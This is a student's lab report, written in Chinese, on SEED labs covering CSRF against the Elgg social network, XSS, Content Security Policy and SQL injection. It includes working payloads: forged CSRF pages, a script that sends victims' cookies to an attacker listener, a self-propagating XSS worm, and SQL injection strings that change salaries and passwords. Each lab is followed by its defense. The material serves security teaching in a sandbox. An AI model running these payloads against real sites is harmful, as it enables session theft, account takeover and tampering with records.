Lab1 CSRF攻击实验
实验原理
Cross Site Request Forgery, 跨域请求伪造

修改 /etc/hosts:
sudo vim /etc/hosts
实验所需的各个账户的密码:
----------------------------
UserName | Password
----------------------------
admin | seedelgg
alice | seedalice
boby | seedboby
charlie | seedcharlie
samy | seedsamy1 观察HTTP请求

可以看到get请求。
2 使用GET请求进行CSRF攻击
在这个任务中,我们需要Elgg社交网络中的两个人:Alice和Samy。萨米想成为一个爱丽丝的朋友,但爱丽丝拒绝把他添加到她的埃尔格朋友名单。萨米决定利用CSRF攻击实现他的目标。他给爱丽丝发送了一个URL(通过电子邮件或在Elgg发布的帖子);爱丽丝很好奇,咔哒一声在网址上找到了萨米的网站:www.attacker32.com。假装你是萨米描述你如何构建网页的内容,所以一旦Alice访问网页,Samy被添加到Alice的好友列表中(假设Alice与Elgg有一个活跃的会话)。要向受害者添加朋友,我们需要确定合法的add - friend HTTP请求(一个GET请求)的样子。我们可以使用“HTTP Header Live”工具来进行调查。在这个任务中,你不允许编写JavaScript代码来启动CSRF攻击。你的工作是让攻击成功当Alice访问网页时,甚至不需要在页面上做任何点击(提示:你可以使用img标记,它会自动触发一个HTTP GET请求)。埃尔格已经实施了一个对抗CSRF攻击的对策。在添加好友的HTTP请求中,您可能会注意到,每个请求都包含两个奇怪的参数,即elgg ts和elgg令牌。这些参数由反对策使用,因此如果它们不包含正确的值,请求将包含正确的值不能被埃尔格接受。我们已经禁用了这个实验室的对策,所以没必要包括这两个参数在伪造的请求中。
用samy的账号登录,然后member下,alice,点击Add friend按钮添加好友:


通过观察我们得知添加好友的http请求是action/friends/add?friend=56(此处为Alice好友id号),打开samy的好友界面,按F12获取网页元素,得到samy的好友ID号是59。

构造CSRF攻击请求:
http://www.seed-server.com/action/friends/add?friend=59
将此链接放入我们的攻击网站http://www.attacker32.com/index.html中:
<!Doctype html>  
<html>  
	<head>  
		<title>You have been attacked!</title>  
	</head>  
	<body>  
		<img src="http://www.seed-server.com/action/friends/add?friend=59">
		<h1>You have been attacked!</h1>  
	<body>  
</html> 
在Bob的个人博客中公布此网址,并谎称此网址是一个有网络安全期末考题的相关网址。

Alice看到samy的博客:

当Alice点击进入这个网址后,看到如下页面:


点击图片,发现samy已经在她的好友名单里了。

3 使用POST请求进行CSRF攻击
登录Alice的账号,发布任意一篇博客,在HTTP Header Live找到相关的Http请求,根据实验指导书构建我们的攻击网站,添加JavaScript部分。
对我们的攻击网站进行修改:
<!Doctype html>  
<html>  
     <head>  
          <title>You have been attacked!</title>  
     </head>  
     <body>  
          <img src="http://www.seed-server.com/action/friends/add?friend=59">
          <h1>You have been attacked!</h1>  
     <body>  
     <script type="text/javascript">  
          function forge_post() {  
                var fields = "";  
                  
                fields += "<input type='hidden' name='name' value='Alice'>"; 
                fields += "<input type='hidden' name='briefdescription' value='Samy is my Hero'>";  
                fields += "<input type='hidden' name='name' value='Alice'>";
                fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
                fields += "<input type='hidden' name='guid' value='56'>";
                var p = document.createElement("form");  
                p.action = "http://www.seed-server.com/action/profile/edit";
                p.innerHTML = fields;  
                p.method = "post";  
   
                document.body.appendChild(p);  
                p.submit();  
            }  
   
            window.onload = function() { forge_post(); }  
     </script> 
<html>登录 Samy 账号,我们先试着修改自己的 profile,点击链接即发出一个POST请求的表单。


当Alice点击时,发现主页显示Samy是我的英雄:

4 启用Elgg的对策
为了抵御 CSRF 攻击,Web 应用程序可以在其页面中嵌入一个秘密令牌。来自这些页面的所有请求都必须携带此令牌,否则它们将被视为跨站点请求,并且不会具有与同站点请求相同的权限。攻击者将无法获得这个秘密令牌,因此他们的请求很容易被识别为跨站请求。
Elgg 使用这种秘密令牌方法作为其内置的反制措施来抵御 CSRF 攻击。我们已经禁用了使攻击起作用的对策。 Elgg 在请求中嵌入了两个参数__elgg_ts和__elgg_token。这两个参数被添加到 POST 请求的 HTTP 消息正文和 HTTP GET 请求的 URL 字符串中。服务器将在处理请求之前验证它们。
Elgg 向所有 HTTP 请求添加安全令牌和时间戳。以下 HTML 代码存在于所有需要用户操作的表单中。这是两个隐藏字段;提交表单时,将这两个隐藏参数添加到请求中:
<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />Elgg 还将安全令牌和时间戳的值分配给 JavaScript 变量,因此同一页面上的 JavaScript 代码可以轻松访问它们。
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;秘密令牌和时间戳由 vendor/elgg/elgg/views/default/input/securitytoken.php 模块添加到 Elgg 的网页。
elgg Web 应用程序验证生成的令牌和时间戳以抵御 CSRF 攻击。每个用户操作都会调用 Csrf.php 中的验证函数,该函数会验证令牌。如果令牌不存在或无效,则该操作将被拒绝,用户将被重定向。在我们的设置中,我们在此函数的开头添加了一个返回,基本上禁用了验证。
故:我们进入Elgg容器,进入 /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security 文件夹,从Csrf.php中删除return语句。

容器内部提供了一个名为
nano的简单编辑器。

试图将Alice的个人资料改为Samy is really my Hero!!!,发现攻击全部失效,无法成功。

5 试验 SameSite Cookie 方法
现在大多数浏览器都实现了一种叫做 SameSite cookie 的机制,这是一种与 cookie 相关联的属性。SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。
我们访问 www.example32.com。然后点击各个按钮。

5.1 同域请求

链接:

GET请求:

POST请求:

5.2 跨域请求

链接:

GET请求:

POST请求:

我们得到以下结论:
SameSite的三个属性控制Cookie的等级:
- Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
- Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
- None属性:等同于关闭SameSite
Lab2 XSS攻击实验
实验原理
跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
反射型XSS攻击原理如下图,其通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小:

存储型XSS攻击原理如下图,其中,恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码:

DOM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。
它是基于DoM文档对象模型的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
1 发布恶意消息以显示警报窗口
这个 Task 用来熟悉 js 脚本。登录 Samy 账号,修改 profile 如图所示:
<script>
    alert('XSS');
</script>
保存后,看到弹出一个内容为“XSS”的弹窗:

2 发布恶意消息以显示Cookie
这个 Task 用来熟悉如何获取 Cookie。修改 Samy 的 profile 如图所示:
<script>
    alert(document.cookie);
</script>
保存后,看到弹出一个内容为Cookie的弹窗:

3 从受害者的机器上盗窃Cookie
这个 Task 用来熟悉如何发回数据。修改 Samy 的 profile 如图所示:
JavaScript 代码将 cookie 发送到攻击者机器(IP 地址为 10.9.0.1)的端口 5555,其中攻击者有一个 TCP 服务器监听相同的端口。
<script>
    document.write('<img src=http://10.9.0.1:5555?c=' +
                   escape(document.cookie) +
                   '>');
</script>
在端口上开启监听:
nc -lknv 5555登录 Alice 账号,点进 Samy 的 profile,看到端口返回了发来的Cookie:

4 成为受害者的朋友
这个 Task 利用 js 实现 GET 方法。修改 Samy 的 profile 如图所示:
<script type="text/javascript">
window.onload=function()
{
    var Ajax=null;//使用Ajax实现Javascript代码,方便在后台发起HTTP请求,防止因Javascript代码发起普通HTTP请求离开当前页面,引起用户怀疑
    
    //设置时间戳和秘密令牌值,使得请求被视为同站请求
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//将当前页面Javascript代码中的时间戳变量值赋给elgg_ts
    var token="&__elgg_token="+elgg.security.token.__elgg_token;//将当前页面Javascript代码中的秘密令牌变量值赋给elgg_ts
    
    //创建url
    var sendurl="http://www.seed-server.com/action/friends/add"//加好友的网页
    			+"?friend=59" + token + ts;//加上好友ID,token,ts字段构成url
    
    //创建并发送Ajax请求加好友
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.send();
}
</script>
登录 Alice 账号,点进 Samy 的 profile,看到已经添加了好友:

5 修改受害者档案
这个 Task 利用 js 实现 POST 方法。修改 Samy 的 profile 如图所示:
<script type="text/javascript">
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=samy%20is%20my%20hero&accesslevel[description]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:

行14不能被去除:这行用来判断当前用户是不是攻击者自身,如果是,就不进行攻击。如果去掉这行代码,会导致攻击者保存自己的 profile 后,description 立即被改变,无法实施攻击。
6 编写自传播XSS蠕虫
要成为真正的蠕虫,恶意 JavaScript 程序应该能够自我传播。即,每当有人查看受感染的个人资料时,不仅他们的个人资料会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染的个人资料的其他人。
编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中:
<script id="worm">
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    window.onload = function(){
        var userName="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        
        var content=token + ts + userName +
            "&description=" + wormCode + "&accesslevel[description]=2" + 
            "&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
            guid;
        var samyGuid=59;
        var sendurl="http://www.seed-server.com/action/profile/edit";
        
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:

登录 Charlie 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了:

7 使用CSP抵御XSS攻击
内容安全策略 (CSP) 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。
XSS 漏洞的根本问题是 HTML 允许 JavaScript 代码与数据混合。因此,要解决这个根本问题,我们需要将代码与数据分开。在 HTML 页面中包含 JavaScript 代码有两种方法,一种是内联方法,另一种是链接方法。
内联(嵌入)方式直接将代码放在页面内部,而链接方式是将代码放在外部文件中,然后从页面内部链接到它。
7.1 配置CSP
在/etc/hosts中更改DNS配置:

三个网站www.example32a.com, www.example32b.com, www.example32c.com同时使用相同的HTML文件,即index.html,其内容如下:
#脚本1,设置nonce值为111-111-111,脚本试图将区域1内容设置为OK
<script type="text/javascript" nonce="111-111-111">
document.getElementById(’area1’).innerHTML = "OK";
</script>
#脚本2,设置nonce值为222-222-222,脚本试图将区域2内容设置为OK
<script type="text/javascript" nonce="222-222-222">
document.getElementById(’area2’).innerHTML = "OK";
</script>
#脚本3,没有nonce值,试图将区域3内容设置为OK    
<script type="text/javascript">
document.getElementById(’area3’).innerHTML = "OK";
</script>
#脚本4,执行代码存放于本站的script_area4.js文件中  
<script src="script_area4.js"> </script>
    
#脚本5,执行代码存放于http://www.example60.com的script_area5.js文件中
<script src="http://www.example60.com/script_area5.js"> </script>
#脚本6,执行代码存放于http://www.example70.com的script_area6.js文件中
<script src="http://www.example70.com/script_area6.js"> </script>
</html>配置CSP的两种方法:
①Apache服务器可以为所有相应报文设置HTTP头部
②在网络应用程序中配置CSP
在/etc/apache2/sites-available中查看apache csp.conf:
#www.example32a.com不设置CSP
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32a.com
	DirectoryIndex index.html
</VirtualHost>
#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32b.com
	DirectoryIndex index.html
	Header set Content-Security-Policy " \ #开启CSP模式 
	default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
	script-src 'self' *.example70.com \ #允许来自example70.com的嵌入式Javascript脚本
	"
</VirtualHost>
#www.example32c.com通过网络应用来设置CSP(方法②)
<VirtualHost *:80> 
	DocumentRoot /var/www/csp
	ServerName www.example32c.com
	DirectoryIndex phpindex.php #访问phpindex,php文件来加载该网页,并将关于CSP的配置写在该文件中
</VirtualHost>phpindex.php:
<?php
$cspheader = "Content-Security-Policy:". #开启CSP策略
"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
"script-src 'self' 'nonce-111-111-111' *.example70.com". #允许来自本站的嵌入式脚本,来自example70.com的嵌入式脚本,来自nonce值为111-111-111的嵌入式脚本
"";
header($cspheader);
?>
<?php include 'index.html';?>重启apache服务器:
service apache2 restart网页测试结果见下节。
7.2 测试www.example32a.com

该网站没有开启CSP防御机制,故六个script脚本均被执行成功,所有项目都是OK,点击按钮弹出弹窗。
7.3 测试www.example32b.com

根据example32b.com的CSP配置,可知其仅允许本站和example70.com的引入式脚本,故index.html中的脚本4,6成功执行
脚本1,2使用的是嵌入式脚本,虽然有nonce值,但是在HTTP头部中规定的CSP策略中并没允许任何嵌入式代码使用nonce值进行认证
脚本3属于嵌入式代码,不予执行
脚本5来源网站example60.com不可信,不予执行
按钮7属于嵌入式代码,不被允许故不显示相应内容
7.4 测试www.example32c.com

根据example32c.com的CSP配置,可知其允许本站和example70.com的引入式脚本,以及nonce值为111-111-111的嵌入式代码,故脚本1nonce值符合,被嵌入执行,1区域显示为OK;脚本4来自本站,脚本6来自example70.com,均为可信来源,被执行
脚本2的nonce值为222-222-222,与CSP配置要求的值不相符,故不予执行
脚本3为嵌入式代码且无nonce值进行认证,故不予执行
脚本5来源网站example60.com不可信,故不予执行
按钮7属于嵌入式代码,无相应nonce值,故不显示相应内容
7.5 修改代码
7.5.1 修改example32b.com的CSP配置
修改Apache配置,使得区域5显示为OK:
#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
	DocumentRoot /var/www/csp
	ServerName www.example32b.com
	DirectoryIndex index.html
	Header set Content-Security-Policy " \ #开启CSP模式 
	default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
	script-src 'self' *.example70.com \ #允许来自example70.com,example70.com的嵌入式Javascript脚本
	script-src 'self' *.example60.com \ #允许来自example60.com,example70.com的嵌入式Javascript脚本
	"
</VirtualHost>

7.5.2 修改example32c.com的CSP配置
修改相应php代码,使得区域2,5显示为OK
<?php
	$cspheader = "Content-Security-Policy:". #开启CSP策略
	"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
	"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example70.com *.example60.com". 
"";
header($cspheader);
?>
<?php include ’index.html’;?>
CSP明确告诉了网站哪些资源可以被加载,是可信的,所以可以防止XSS攻击使用不可信来源的脚本对网站进行攻击。
Lab3 SQL注入实验
Task1 熟悉SQL语句



Task2 使用SELECT语句进行SQL注入攻击
2.1 来自网页的SQL注入攻击

进入unsafe_home.php,看到如下判断:

由此,我们只需把判断 Password 的部分屏蔽即可:admin';#


2.2 来自命令行的SQL注入攻击
Curl是利用URL语法在命令行下工作的文件传输工具,它可以获得页面、获取表单。
我们使用curl发起SQL注入攻击,获取相应网址对应的页面:
curl http://www.seed-server.com/unsafe_home.php?username=admin%27%3B%23&Password=其中%27指',%3B指;,%23指#。

同样发现显示了所有用户的信息。
2.3 附加新的SQL语句
注入:
Alice'; update credential set name=A where ID=1;#可以看到注入不成功:

Task3 UPDATE语句的SQL注入攻击
3.1 修改自己的工资
使用Alice';#进入系统,看到如下界面:

观察 unsafe_edit_backend.php,看到有如下判断:
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
        nickname=’$input_nickname’,
        email=’$input_email’,
        address=’$input_address’,
        Password=’$hashed_pwd’,
        PhoneNumber=’$input_phonenumber’
        WHERE ID=$id;";
$conn->query($sql);注入:
',salary='30000' where ID=1;#
我们看到,工资已经被更新:

3.2 修改他人的工资
把 Boby 的薪水改成 114514:
',salary='114514' where ID=2;#
进入Boby的系统,发现工资已经被更改:

3.3 修改其他人的密码
我们发现密码采用的是sha1加密:

进行sha1加密:

注入:
',Password='5494546fc6fa7df36dfa3d81e94915ae93c2337a' where ID=1;#
我们看到Alice需要用qzs2022密码进行登录。
Task4 防御SQL注入攻击
登录http://www.seed-server.com/defense/

参数与查询分离。修改 unsafe.php,做如下改动:
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
						FROM credential
						WHERE name = ? and Password = ? ");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();
可以看到攻击失败:

 
                        
                        